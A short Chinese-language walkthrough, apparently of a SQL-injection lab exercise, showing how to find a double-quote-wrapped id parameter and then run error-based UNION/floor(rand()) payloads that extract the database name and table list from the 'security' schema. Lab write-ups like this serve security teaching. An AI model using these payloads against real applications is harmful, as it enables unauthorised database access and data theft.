输入参数id的值1
输入1'
通过以上测试结果可以推断出,sql查询语句中使用到了双引号""
,因为参数1'
有回显You are in...........
再次测试,输入1"
,注意这里是双引号,不是两个单引号,出现报错信息
现在,可以推断出的就是,回显只有两种情况,
1.You are in...........
2.报错信息
注意看报错信息or the right syntax to use near '"1"" LIMIT 0,1' at line 1
发现报错的原因是我们输入的参数中将左边的双引号闭合了,导致sql语句中原来的右边的双引号没有闭合,OK,知道了问题的根源,那么我们就来构造sql语句,这里我们可以将sql查询语句源码中的双引号注释掉,构造以下语句
1"%23
可以看到,语句正常通过,没有报错
那么接下来就是老套路了,利用我们神奇的union关键字,获取我们想要的信息
获取当前数据库名0" union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a%23
获取数据库security中的表名
0" union select count(*),2,concat('/',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'/',floor(rand()*2))as a from information_schema.tables group by a%23